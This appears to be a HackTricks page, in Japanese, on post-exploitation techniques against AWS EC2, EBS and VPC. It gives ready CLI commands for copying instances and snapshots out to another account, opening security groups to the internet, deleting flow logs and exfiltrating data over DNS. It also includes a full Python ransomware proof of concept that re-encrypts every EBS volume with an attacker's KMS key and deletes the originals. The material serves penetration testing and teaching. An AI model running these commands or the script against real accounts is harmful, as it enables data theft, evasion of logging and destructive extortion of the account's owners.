AWS - EC2, EBS, SSM & VPC Post Exploitation

HackTricksをサポートする

EC2 & VPC

詳細については以下を参照してください:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPCトラフィックミラーリングは、VPC内のEC2インスタンスのインバウンドおよびアウトバウンドトラフィックを複製し、インスタンス自体に何もインストールする必要がありません。この複製されたトラフィックは、通常、ネットワーク侵入検知システム(IDS)などに送信され、分析および監視されます。 攻撃者はこれを悪用して、すべてのトラフィックをキャプチャし、そこから機密情報を取得することができます:

詳細については以下のページを参照してください:

AWS - Malicious VPC Mirror

Running Instanceのコピー

インスタンスには通常、何らかの機密情報が含まれています。内部に入る方法はいくつかあります(EC2 privilege escalation tricksをチェックしてください)。しかし、別の方法として、AMIを作成し、それから新しいインスタンスを(自分のアカウントでも)実行することができます:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot dump

Snapshotsはボリュームのバックアップであり、通常は機密情報を含むため、これらを確認することでこの情報が明らかになります。 スナップショットのないボリュームを見つけた場合は、スナップショットを作成して以下のアクションを実行するか、アカウント内のインスタンスにマウントすることができます。

AWS - EBS Snapshot Dump

Data Exfiltration

DNS Exfiltration

EC2のトラフィックを完全に遮断しても、DNS経由でのexfilは可能です。

  • VPC Flow Logsはこれを記録しません

  • AWS DNSログにはアクセスできません。

  • これを無効にするには、"enableDnsSupport"をfalseに設定します:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltration via API calls

攻撃者は自分が管理するアカウントのAPIエンドポイントを呼び出すことができます。Cloudtrailはこれらの呼び出しをログに記録し、攻撃者はCloudtrailログでexfiltrateデータを確認できます。

Open Security Group

次のようにポートを開放することで、ネットワークサービスへのさらなるアクセスを得ることができます:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

ECSへの権限昇格

EC2インスタンスを実行し、それをECSインスタンスを実行するために登録し、ECSインスタンスのデータを盗むことが可能です。

詳細はこちらを確認.

VPCフローログの削除

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

AMI を共有する

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Snapshotを共有する

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

S3ポストエクスプロイトノートで示されたランサムウェアデモに似た概念実証。KMSは、AWSのさまざまなサービスを暗号化するのにどれほど簡単に使用できるかを考えると、RMS(Ransomware Management Service)に改名すべきです。

まず、「攻撃者」のAWSアカウントから、KMSでカスタマーマネージドキーを作成します。この例では、AWSがキーのデータを管理しますが、現実的なシナリオでは悪意のあるアクターがAWSの管理外でキーのデータを保持します。キーのポリシーを変更して、任意のAWSアカウントプリンシパルがキーを使用できるようにします。このキーのポリシーでは、アカウントの名前は「AttackSim」で、すべてのアクセスを許可するポリシールールは「Outside Encryption」と呼ばれています。

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

キー ポリシー ルールには、EBS ボリュームを暗号化するために次の設定が必要です:

  • kms:CreateGrant

  • kms:Decrypt

  • kms:DescribeKey

  • kms:GenerateDataKeyWithoutPlainText

  • kms:ReEncrypt

これで、公開アクセス可能なキーを使用できます。暗号化されていないEBSボリュームがアタッチされたEC2インスタンスを持つ「被害者」アカウントを使用します。この「被害者」アカウントのEBSボリュームが暗号化のターゲットです。この攻撃は、高権限のAWSアカウントが侵害されたことを前提としています。

Pasted image 20231231172655
Pasted image 20231231172734

S3ランサムウェアの例と似ています。この攻撃では、スナップショットを使用してアタッチされたEBSボリュームのコピーを作成し、「攻撃者」アカウントの公開キーを使用して新しいEBSボリュームを暗号化し、次に元のEBSボリュームをEC2インスタンスからデタッチして削除し、最後に新しく暗号化されたEBSボリュームを作成するために使用したスナップショットを削除します。

これにより、アカウントには暗号化されたEBSボリュームのみが残ります。

Pasted image 20231231173338

また、スクリプトは元のEBSボリュームをデタッチして削除するためにEC2インスタンスを停止したことも注目に値します。元の暗号化されていないボリュームはもう存在しません。

Pasted image 20231231173931

次に、「攻撃者」アカウントのキー ポリシーに戻り、キー ポリシーから「Outside Encryption」ポリシー ルールを削除します。

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

新しく設定されたキー ポリシーが伝播するのを待ちます。その後、「被害者」アカウントに戻り、新しく暗号化された EBS ボリュームの 1 つをアタッチしようとします。ボリュームをアタッチできることがわかります。

Pasted image 20231231174131
Pasted image 20231231174258

しかし、暗号化された EBS ボリュームで EC2 インスタンスを再起動しようとすると、失敗し、「保留中」状態から「停止」状態に戻り続けます。これは、アタッチされた EBS ボリュームがキーを使用して復号化できないためです。キー ポリシーがもはやそれを許可していないためです。

Pasted image 20231231174322
Pasted image 20231231174352

これが使用される python スクリプトです。これは「被害者」アカウントの AWS クレデンシャルと、暗号化に使用されるキーの公開されている AWS ARN 値を受け取ります。このスクリプトは、ターゲット AWS アカウント内のすべての EC2 インスタンスにアタッチされているすべての利用可能な EBS ボリュームの暗号化コピーを作成し、次にすべての EC2 インスタンスを停止し、元の EBS ボリュームをデタッチして削除し、最後にプロセス中に使用されたすべてのスナップショットを削除します。これにより、ターゲット「被害者」アカウントには暗号化された EBS ボリュームのみが残ります。このスクリプトはテスト環境でのみ使用してください。破壊的であり、元の EBS ボリュームをすべて削除します。使用された KMS キーを使用してそれらを回復し、スナップショットを介して元の状態に復元することはできますが、これは最終的にはランサムウェアの PoC であることを認識していただきたいと思います。

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()
HackTricksをサポートする

Last updated